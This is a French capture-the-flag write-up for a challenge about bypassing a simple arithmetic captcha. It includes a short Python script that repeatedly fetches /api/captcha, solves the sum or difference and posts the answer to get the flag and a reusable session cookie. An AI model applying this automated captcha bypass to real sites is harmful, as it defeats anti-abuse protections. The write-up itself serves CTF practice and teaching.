Je cherche des petits prodiges pour les recruter dans ma team de Hackerz. On a dans notre viseur un site bien précis mais il est protégé par un maudit captcha !
Pour évaluer tes compétences, on a mis en place une version allégée, prouve nous que tu mérites ta place.
Ce challenge tourne sur un docker et n'est pas disponible
Solution
L'objectif est de voir les requêtes faites sur /api/captcha pour demander le captcha et envoyer la réponse puis de l'automatiser.
Avec une même session, il faut donc faire 5 fois un GET sur /api/captcha, résoudre l'opération, puis envoyer le résultat en POST sur /api/captcha.
from requests import Session
URL = f'https://024c85eaa9d92b0a.challenge1.cybernight-c.tf'
def get_captcha(session: Session):
response = session.get(f'{URL}/api/captcha').text
a, op, b = response.split(' ')
return int(a), op, int(b)
def solve_captcha(session: Session, a: int, op: str, b: int):
result = (a - b) if op == '-' else (a + b)
print(a, op, b, '=', result)
response = session.post(f'{URL}/api/captcha', json={'code': str(result)}).json()
return response
session = Session()
session.get(f'{URL}')
for i in range(5):
a, op, b = get_captcha(session)
result = solve_captcha(session, a, op, b)
assert 'flag' in result and result['flag']
print(session.get(URL).text)
print(f'Cookie à mettre dans son navigateur : {session.cookies.get("session")}')
Ici, j'ai affiché la page principale une fois que le challenge est terminé, mais on peut également réutiliser dans son navigateur le cookie de session avec lequel on a solve le challenge :